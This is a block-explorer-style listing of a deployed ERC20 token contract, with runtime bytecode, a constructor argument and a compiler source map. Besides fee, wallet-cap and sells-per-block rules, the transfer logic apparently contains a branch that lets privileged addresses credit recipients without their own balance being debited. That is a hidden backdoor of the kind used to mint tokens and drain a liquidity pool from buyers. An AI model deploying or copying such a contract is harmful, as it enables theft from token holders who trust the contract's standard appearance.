565b6005546001600160a01b0316336001600160a01b03161461050557600080fd5b30600090815260016020526040902054801561052457610524816111ba565b4780156105345761053481611334565b5050565b6005546001600160a01b0316336001600160a01b03161461055857600080fd5b600854811115801561056c57506009548111155b61057557600080fd5b6008819055600955565b6000546001600160a01b031633146105a95760405162461bcd60e51b81526004016104159061165f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461061d5760405162461bcd60e51b81526004016104159061165f565b6106296012600a61178e565b610637906305f5e10061179d565b600f556106466012600a61178e565b610654906305f5e10061179d565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106846012600a61178e565b610692906305f5e10061179d565b604051908152602001610451565b60006103e1338484610b8d565b6000546001600160a01b031633146106d75760405162461bcd60e51b81526004016104159061165f565b601454600160a01b900460ff16156107315760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610415565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077a90309061076c6012600a61178e565b6104d6906305f5e10061179d565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f191906117b4565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610853573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087791906117b4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e891906117b4565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610930816001600160a01b031660009081526001602052604090205490565b6000806109456000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109d291906117d1565b505060145460135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4f91906117ff565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610acb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610415565b6001600160a01b038216610b2c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610415565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bf15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610415565b6001600160a01b038216610c535760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610415565b60008111610cb55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610415565b600080546001600160a01b03858116911614801590610ce257506000546001600160a01b03848116911614155b1561103d57610d076064610d01600d548561136e90919063ffffffff16565b906113f7565b6014549091506001600160a01b038581169116148015610d3557506013546001600160a01b03848116911614155b8015610d5a57506001600160a01b03831660009081526003602052604090205460ff16155b15610e6a57600f54821115610db15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610415565b60105482610dd4856001600160a01b031660009081526001602052604090205490565b610dde9190611821565b1115610e2c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610415565b610e526064610d01600a54600e5411610e4757600654610e4b565b6008545b859061136e565b600e80549192506000610e6483611834565b91905055505b6014546001600160a01b038481169116148015610e9057506001600160a01b0384163014155b15610ebd57610eba6064610d01600b54600e5411610eb057600754610e4b565b600954859061136e565b90505b30600090815260016020526040902054601454600160a81b900460ff16158015610ef457506014546001600160a01b038581169116145b8015610f095750601454600160b01b900460ff165b8015610f185750600c54600e54115b1561103b576001600160a01b03851660009081526004602052604090205460ff1615610f8d57610f6a610f4b8484611439565b6001600160a01b0386166000908152600160205260409020549061147b565b6001600160a01b0390941660009081526001602052604090209390935550505050565b601654431115610f9d5760006015555b600360155410610fef5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000006044820152606401610415565b601154811115611016576110166110118461100c846012546114da565b6114da565b6111ba565b4761102047611334565b6015805490600061103083611834565b909155505043601655505b505b80156110b7573060009081526001602052604090205461105d908261147b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110ae9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546110da9083611439565b6001600160a01b03851660009081526001602052604090205561111f6111008383611439565b6001600160a01b0385166000908152600160205260409020549061147b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111698585611439565b60405190815260200160405180910390a350505050565b600081848411156111a45760405162461bcd60e51b8152600401610415919061151d565b5060006111b1848661184d565b95945050505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061120257611202611860565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561125b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127f91906117b4565b8160018151811061129257611292611860565b6001600160a01b0392831660209182029290920101526013546112b89130911684610a69565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f1908590600090869030904290600401611876565b600060405180830381600087803b15801561130b57600080fd5b505af115801561131f573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610534573d6000803e3d6000fd5b600082600003611380575060006103e5565b600061138c838561179d565b90508261139985836118e7565b146113f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610415565b9392505050565b60006113f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ef565b60006113f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611180565b6000806114888385611821565b9050838110156113f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610415565b60008183116114e957826113f0565b50919050565b600081836115105760405162461bcd60e51b8152600401610415919061151d565b5060006111b184866118e7565b600060208083528351808285015260005b8181101561154a5785810183015185820160400152820161152e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461158057600080fd5b50565b6000806040838503121561159657600080fd5b82356115a18161156b565b946020939093013593505050565b6000806000606084860312156115c457600080fd5b83356115cf8161156b565b925060208401356115df8161156b565b929592945050506040919091013590565b60006020828403121561160257600080fd5b5035919050565b60006020828403121561161b57600080fd5b81356113f08161156b565b6000806040838503121561163957600080fd5b82356116448161156b565b915060208301356116548161156b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116e55781600019048211156116cb576116cb611694565b808516156116d857918102915b93841c93908002906116af565b509250929050565b6000826116fc575060016103e5565b81611709575060006103e5565b816001811461171f576002811461172957611745565b60019150506103e5565b60ff84111561173a5761173a611694565b50506001821b6103e5565b5060208310610133831016604e8410600b8410161715611768575081810a6103e5565b61177283836116aa565b806000190482111561178657611786611694565b029392505050565b60006113f060ff8416836116ed565b80820281158282048414176103e5576103e5611694565b6000602082840312156117c657600080fd5b81516113f08161156b565b6000806000606084860312156117e657600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561181157600080fd5b815180151581146113f057600080fd5b808201808211156103e5576103e5611694565b60006001820161184657611846611694565b5060010190565b818103818111156103e5576103e5611694565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118c65784516001600160a01b0316835293830193918301916001016118a1565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220993329158764b1920f2eb7c596ddf465a1b696b3e8e30d631046abe7c8db7f1464736f6c63430008130033

000000000000000000000000711587d7caa99aebd63fec764dd22872e01903a2

-----Decoded View---------------
Arg [0] : _pengOSAddr (address): 0x711587D7CaA99Aebd63FEC764Dd22872E01903A2

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000711587d7caa99aebd63fec764dd22872e01903a2

3643:8510:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5707:83;;;;;;;;;;-1:-1:-1;5777:5:0;;;;;;;;;;;;-1:-1:-1;;;5777:5:0;;;;5707:83;;;;;;;:::i;:::-;;;;;;;;6540:161;;;;;;;;;;-1:-1:-1;6540:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6540:161:0;1023:187:1;4792:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4792:51:0;1215:177:1;10593:120:0;;;;;;;;;;;;;:::i;:::-;;5984:95;;;;;;;;;;;;;:::i;6709:313::-;;;;;;;;;;-1:-1:-1;6709:313:0;;;;;:::i;:::-;;:::i;5893:83::-;;;;;;;;;;-1:-1:-1;5893:83:0;;4419:2;2000:36:1;;1988:2;1973:18;5893:83:0;1858:184:1;11802:348:0;;;;;;;;;;;;;:::i;11533:224::-;;;;;;;;;;-1:-1:-1;11533:224:0;;;;;:::i;:::-;;:::i;6087:119::-;;;;;;;;;;-1:-1:-1;6087:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6180:18:0;6153:7;6180:18;;;:9;:18;;;;;;;6087:119;2724:148;;;;;;;;;;;;;:::i;10426:159::-;;;;;;;;;;;;;:::i;4606:55::-;;;;;;;;;;;;;;;;2510:79;;;;;;;;;;-1:-1:-1;2548:7:0;2575:6;2510:79;;-1:-1:-1;;;;;2575:6:0;;;2630:51:1;;2618:2;2603:18;2510:79:0;2484:203:1;4668:57:0;;;;;;;;;;;;;;;;5798:87;;;;;;;;;;-1:-1:-1;5870:7:0;;;;;;;;;;;;-1:-1:-1;;;5870:7:0;;;;5798:87;;6214:167;;;;;;;;;;-1:-1:-1;6214:167:0;;;;;:::i;:::-;;:::i;4732:53::-;;;;;;;;;;;;;;;;10821:700;;;;;;;;;;;;;:::i;6389:143::-;;;;;;;;;;-1:-1:-1;6389:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6497:18:0;;;6470:7;6497:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6389:143;6540:161;6615:4;6632:39;345:10;6655:7;6664:6;6632:8;:39::i;:::-;-1:-1:-1;6689:4:0;6540:161;;;;;:::o;10593:120::-;2637:6;;-1:-1:-1;;;;;2637:6:0;345:10;2637:22;2629:67;;;;-1:-1:-1;;;2629:67:0;;;;;;;:::i;:::-;;;;;;;;;10667:1:::1;10652:12;:16:::0;;;10684:21:::1;::::0;1361:25:1;;;10684:21:0::1;::::0;1349:2:1;1334:18;10684:21:0::1;;;;;;;;10593:120::o:0;5984:95::-;6037:7;4477:13;4419:2;4477;:13;:::i;:::-;4463:27;;:11;:27;:::i;:::-;6057:14;;5984:95;:::o;6709:313::-;6807:4;6824:36;6834:6;6842:9;6853:6;6824:9;:36::i;:::-;6871:121;6880:6;345:10;6902:89;6940:6;6902:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6902:19:0;;;;;;:11;:19;;;;;;;;345:10;6902:33;;;;;;;;;;:37;:89::i;:::-;6871:8;:121::i;:::-;-1:-1:-1;7010:4:0;6709:313;;;;;:::o;11802:348::-;11866:10;;-1:-1:-1;;;;;11866:10:0;345;-1:-1:-1;;;;;11852:24:0;;11844:33;;;;;;11927:4;11888:20;6180:18;;;:9;:18;;;;;;11947:14;;11944:73;;11975:30;11992:12;11975:16;:30::i;:::-;12046:21;12081:12;;12078:65;;12107:24;12120:10;12107:12;:24::i;:::-;11833:317;;11802:348::o;11533:224::-;11614:10;;-1:-1:-1;;;;;11614:10:0;345;-1:-1:-1;;;;;11600:24:0;;11592:33;;;;;;11651:12;;11642:7;:21;;:47;;;;;11676:13;;11667:7;:22;;11642:47;11634:56;;;;;;11699:12;:20;;;11728:13;:21;11533:224::o;2724:148::-;2637:6;;-1:-1:-1;;;;;2637:6:0;345:10;2637:22;2629:67;;;;-1:-1:-1;;;2629:67:0;;;;;;;:::i;:::-;2831:1:::1;2815:6:::0;;2794:40:::1;::::0;-1:-1:-1;;;;;2815:6:0;;::::1;::::0;2794:40:::1;::::0;2831:1;;2794:40:::1;2862:1;2845:19:::0;;-1:-1:-1;;;;;;2845:19:0::1;::::0;;2724:148::o;10426:159::-;2637:6;;-1:-1:-1;;;;;2637:6:0;345:10;2637:22;2629:67;;;;-1:-1:-1;;;2629:67:0;;;;;;;:::i;:::-;4477:13:::1;4419:2;4477;:13;:::i;:::-;4463:27;::::0;:11:::1;:27;:::i;:::-;10479:12;:22:::0;4477:13:::1;4419:2;4477;:13;:::i;:::-;4463:27;::::0;:11:::1;:27;:::i;:::-;10512:14;:22:::0;10550:27:::1;4477:13;4419:2;4477;:13;:::i;:::-;4463:27;::::0;:11:::1;:27;:::i;:::-;10550;::::0;1361:25:1;;;1349:2;1334:18;10550:27:0::1;1215:177:1::0;6214:167:0;6292:4;6309:42;345:10;6333:9;6344:6;6309:9;:42::i;10821:700::-;2637:6;;-1:-1:-1;;;;;2637:6:0;345:10;2637:22;2629:67;;;;-1:-1:-1;;;2629:67:0;;;;;;;:::i;:::-;10885:11:::1;::::0;-1:-1:-1;;;10885:11:0;::::1;;;10884:12;10876:47;;;::::0;-1:-1:-1;;;10876:47:0;;5526:2:1;10876:47:0::1;::::0;::::1;5508:21:1::0;5565:2;5545:18;;;5538:30;5604:25;5584:18;;;5577:53;5647:18;;10876:47:0::1;5324:347:1::0;10876:47:0::1;10934:15;:80:::0;;-1:-1:-1;;;;;;10934:80:0::1;10971:42;10934:80:::0;;::::1;::::0;;;11054:58:::1;::::0;11071:4:::1;::::0;4477:13:::1;4419:2;4477;:13;:::i;:::-;4463:27;::::0;:11:::1;:27;:::i;11054:58::-;11157:15;;;;;;;;;-1:-1:-1::0;;;;;11157:15:0::1;-1:-1:-1::0;;;;;11157:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11139:55:0::1;;11203:4;11210:15;;;;;;;;;-1:-1:-1::0;;;;;11210:15:0::1;-1:-1:-1::0;;;;;11210:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11139:94;::::0;-1:-1:-1;;;;;;11139:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6162:15:1;;;11139:94:0::1;::::0;::::1;6144:34:1::0;6214:15;;6194:18;;;6187:43;6079:18;;11139:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11123:13;:110:::0;;-1:-1:-1;;;;;11123:110:0;;::::1;-1:-1:-1::0;;;;;;11123:110:0;;::::1;;::::0;;11244:15:::1;::::0;::::1;:31;11283:21;11314:4;11320:24;11314:4:::0;-1:-1:-1;;;;;6180:18:0;6153:7;6180:18;;;:9;:18;;;;;;;6087:119;11320:24:::1;11345:1;11347::::0;11349:7:::1;2548::::0;2575:6;-1:-1:-1;;;;;2575:6:0;;2510:79;11349:7:::1;11244:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11244:129:0;;;-1:-1:-1;;;;;6600:15:1;;;11244:129:0::1;::::0;::::1;6582:34:1::0;6632:18;;;6625:34;;;;6675:18;;;6668:34;;;;6718:18;;;6711:34;6782:15;;;6761:19;;;6754:44;11357:15:0::1;6814:19:1::0;;;6807:35;6516:19;;11244:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11391:13:0::1;::::0;11422:15:::1;::::0;11384:71:::1;::::0;-1:-1:-1;;;11384:71:0;;-1:-1:-1;;;;;11422:15:0;;::::1;11384:71;::::0;::::1;7338:51:1::0;-1:-1:-1;;7405:18:1;;;7398:34;11391:13:0;::::1;::::0;-1:-1:-1;11384:29:0::1;::::0;7311:18:1;;11384:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11466:11:0::1;:18:::0;;-1:-1:-1;;;;11495:18:0;-1:-1:-1;;;11495:18:0;;;10821:700::o;7030:335::-;-1:-1:-1;;;;;7123:19:0;;7115:68;;;;-1:-1:-1;;;7115:68:0;;7927:2:1;7115:68:0;;;7909:21:1;7966:2;7946:18;;;7939:30;8005:34;7985:18;;;7978:62;-1:-1:-1;;;8056:18:1;;;8049:34;8100:19;;7115:68:0;7725:400:1;7115:68:0;-1:-1:-1;;;;;7202:21:0;;7194:68;;;;-1:-1:-1;;;7194:68:0;;8332:2:1;7194:68:0;;;8314:21:1;8371:2;8351:18;;;8344:30;8410:34;8390:18;;;8383:62;-1:-1:-1;;;8461:18:1;;;8454:32;8503:19;;7194:68:0;8130:398:1;7194:68:0;-1:-1:-1;;;;;7273:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7325:32;;1361:25:1;;;7325:32:0;;1334:18:1;7325:32:0;;;;;;;7030:335;;;:::o;7373:2448::-;-1:-1:-1;;;;;7461:18:0;;7453:68;;;;-1:-1:-1;;;7453:68:0;;8735:2:1;7453:68:0;;;8717:21:1;8774:2;8754:18;;;8747:30;8813:34;8793:18;;;8786:62;-1:-1:-1;;;8864:18:1;;;8857:35;8909:19;;7453:68:0;8533:401:1;7453:68:0;-1:-1:-1;;;;;7540:16:0;;7532:64;;;;-1:-1:-1;;;7532:64:0;;9141:2:1;7532:64:0;;;9123:21:1;9180:2;9160:18;;;9153:30;9219:34;9199:18;;;9192:62;-1:-1:-1;;;9270:18:1;;;9263:33;9313:19;;7532:64:0;8939:399:1;7532:64:0;7624:1;7615:6;:10;7607:64;;;;-1:-1:-1;;;7607:64:0;;9545:2:1;7607:64:0;;;9527:21:1;9584:2;9564:18;;;9557:30;9623:34;9603:18;;;9596:62;-1:-1:-1;;;9674:18:1;;;9667:39;9723:19;;7607:64:0;9343:405:1;7607:64:0;7682:17;2575:6;;-1:-1:-1;;;;;7716:15:0;;;2575:6;;7716:15;;;;:32;;-1:-1:-1;2548:7:0;2575:6;-1:-1:-1;;;;;7735:13:0;;;2575:6;;7735:13;;7716:32;7712:1747;;;7779:33;7808:3;7779:24;7790:12;;7779:6;:10;;:24;;;;:::i;:::-;:28;;:33::i;:::-;7841:13;;7767:45;;-1:-1:-1;;;;;;7833:21:0;;;7841:13;;7833:21;:55;;;;-1:-1:-1;7872:15:0;;-1:-1:-1;;;;;7858:30:0;;;7872:15;;7858:30;;7833:55;:83;;;;-1:-1:-1;;;;;;7894:22:0;;;;;;:18;:22;;;;;;;;7892:24;7833:83;7829:420;;;7956:12;;7946:6;:22;;7938:60;;;;-1:-1:-1;;;7938:60:0;;9955:2:1;7938:60:0;;;9937:21:1;9994:2;9974:18;;;9967:30;10033:27;10013:18;;;10006:55;10078:18;;7938:60:0;9753:349:1;7938:60:0;8051:14;;8041:6;8025:13;8035:2;-1:-1:-1;;;;;6180:18:0;6153:7;6180:18;;;:9;:18;;;;;;;6087:119;8025:13;:22;;;;:::i;:::-;:40;;8017:79;;;;-1:-1:-1;;;8017:79:0;;10439:2:1;8017:79:0;;;10421:21:1;10478:2;10458:18;;;10451:30;10517:28;10497:18;;;10490:56;10563:18;;8017:79:0;10237:350:1;8017:79:0;8127:76;8199:3;8127:67;8149:15;;8139:9;;:25;8138:55;;8179:14;;8138:55;;;8166:12;;8138:55;8127:6;;:10;:67::i;:76::-;8222:9;:11;;8115:88;;-1:-1:-1;8222:9:0;:11;;;:::i;:::-;;;;;;7829:420;8274:13;;-1:-1:-1;;;;;8268:19:0;;;8274:13;;8268:19;:43;;;;-1:-1:-1;;;;;;8291:20:0;;8306:4;8291:20;;8268:43;8265:174;;;8344:79;8419:3;8344:70;8366:16;;8356:9;;:26;8355:58;;8398:15;;8355:58;;;8384:13;;8344:6;;:10;:70::i;:79::-;8332:91;;8265:174;8504:4;8455:28;6180:18;;;:9;:18;;;;;;8530:6;;-1:-1:-1;;;8530:6:0;;;;8529:7;:30;;;;-1:-1:-1;8546:13:0;;-1:-1:-1;;;;;8540:19:0;;;8546:13;;8540:19;8529:30;:45;;;;-1:-1:-1;8563:11:0;;-1:-1:-1;;;8563:11:0;;;;8529:45;:79;;;;;8590:18;;8578:9;;:30;8529:79;8525:923;;;-1:-1:-1;;;;;8632:29:0;;;;;;:23;:29;;;;;;;;8629:160;;;8700:40;8718:21;:6;8729:9;8718:10;:21::i;:::-;-1:-1:-1;;;;;8700:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8686:13:0;;;;;;;:9;:13;;;;;:54;;;;-1:-1:-1;;;;7373:2448:0:o;8629:160::-;8828:13;;8813:12;:28;8809:90;;;8878:1;8866:9;:13;8809:90;8937:1;8925:9;;:13;8917:49;;;;-1:-1:-1;;;8917:49:0;;10934:2:1;8917:49:0;;;10916:21:1;10973:2;10953:18;;;10946:30;11012:25;10992:18;;;10985:53;11055:18;;8917:49:0;10732:347:1;8917:49:0;9011:17;;8988:20;:40;8985:157;;;9053:69;9070:51;9074:6;9082:38;9086:20;9108:11;;9082:3;:38::i;:::-;9070:3;:51::i;:::-;9053:16;:69::i;:::-;9211:21;9301:35;9314:21;9301:12;:35::i;:::-;9374:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9420:12:0;9404:13;:28;-1:-1:-1;8525:923:0;7750:1709;7712:1747;9474:11;;9471:161;;9542:4;9524:24;;;;:9;:24;;;;;;:39;;9553:9;9524:28;:39::i;:::-;9517:4;9499:24;;;;:9;:24;;;;;;;:64;;;;9581:39;;-1:-1:-1;;;;;9581:39:0;;;;;;;9610:9;1361:25:1;;1349:2;1334:18;;1215:177;9581:39:0;;;;;;;;9471:161;-1:-1:-1;;;;;9664:15:0;;;;;;:9;:15;;;;;;:27;;9684:6;9664:19;:27::i;:::-;-1:-1:-1;;;;;9648:15:0;;;;;;:9;:15;;;;;:43;9716:40;9734:21;:6;9745:9;9734:10;:21::i;:::-;-1:-1:-1;;;;;9716:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9702:13:0;;;;;;;:9;:13;;;;;:54;;;;9772:41;;;9791:21;:6;9802:9;9791:10;:21::i;:::-;9772:41;;1361:25:1;;;1349:2;1334:18;9772:41:0;;;;;;;7442:2379;7373:2448;;;:::o;1402:190::-;1488:7;1524:12;1516:6;;;;1508:29;;;;-1:-1:-1;;;1508:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1548:9:0;1560:5;1564:1;1560;:5;:::i;:::-;1548:17;1402:190;-1:-1:-1;;;;;1402:190:0:o;9935:483::-;5245:6;:13;;-1:-1:-1;;;;5245:13:0;-1:-1:-1;;;5245:13:0;;;10037:16:::1;::::0;;10051:1:::1;10037:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10037:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10037:16:0::1;10013:40;;10082:4;10064;10069:1;10064:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10064:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10108:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10108:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10064:7;;10108:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10098:4;10103:1;10098:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10098:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10173:15:::1;::::0;10141:62:::1;::::0;10158:4:::1;::::0;10173:15:::1;10191:11:::0;10141:8:::1;:62::i;:::-;10214:15;::::0;:196:::1;::::0;-1:-1:-1;;;10214:196:0;;-1:-1:-1;;;;;10214:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10295:11;;10214:15:::1;::::0;10337:4;;10364::::1;::::0;10384:15:::1;::::0;10214:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5281:6:0;:14;;-1:-1:-1;;;;5281:14:0;;;-1:-1:-1;;;;9935:483:0:o;10721:92::-;10778:10;;:27;;-1:-1:-1;;;;;10778:10:0;;;;:27;;;;;10798:6;;10778:10;:27;:10;:27;10798:6;10778:10;:27;;;;;;;;;;;;;;;;;;;1600:246;1658:7;1682:1;1687;1682:6;1678:47;;-1:-1:-1;1712:1:0;1705:8;;1678:47;1735:9;1747:5;1751:1;1747;:5;:::i;:::-;1735:17;-1:-1:-1;1780:1:0;1771:5;1775:1;1735:17;1771:5;:::i;:::-;:10;1763:56;;;;-1:-1:-1;;;1763:56:0;;12890:2:1;1763:56:0;;;12872:21:1;12929:2;12909:18;;;12902:30;12968:34;12948:18;;;12941:62;-1:-1:-1;;;13019:18:1;;;13012:31;13060:19;;1763:56:0;12688:397:1;1763:56:0;1837:1;1600:246;-1:-1:-1;;;1600:246:0:o;1854:132::-;1912:7;1939:39;1943:1;1946;1939:39;;;;;;;;;;;;;;;;;:3;:39::i;1258:136::-;1316:7;1343:43;1347:1;1350;1343:43;;;;;;;;;;;;;;;;;:3;:43::i;1071:179::-;1129:7;;1161:5;1165:1;1161;:5;:::i;:::-;1149:17;;1190:1;1185;:6;;1177:46;;;;-1:-1:-1;;;1177:46:0;;13292:2:1;1177:46:0;;;13274:21:1;13331:2;13311:18;;;13304:30;13370:29;13350:18;;;13343:57;13417:18;;1177:46:0;13090:351:1;9829:98:0;9886:7;9913:1;9911;:3;9910:9;;9918:1;9910:9;;;-1:-1:-1;9916:1:0;9829:98;-1:-1:-1;9829:98:0:o;1994:189::-;2080:7;2115:12;2108:5;2100:28;;;;-1:-1:-1;;;2100:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2139:9:0;2151:5;2155:1;2151;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:180::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;-1:-1:-1;2198:23:1;;2047:180;-1:-1:-1;2047:180:1:o;2232:247::-;2291:6;2344:2;2332:9;2323:7;2319:23;2315:32;2312:52;;;2360:1;2357;2350:12;2312:52;2399:9;2386:23;2418:31;2443:5;2418:31;:::i;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:356::-;3287:2;3269:21;;;3306:18;;;3299:30;3365:34;3360:2;3345:18;;3338:62;3432:2;3417:18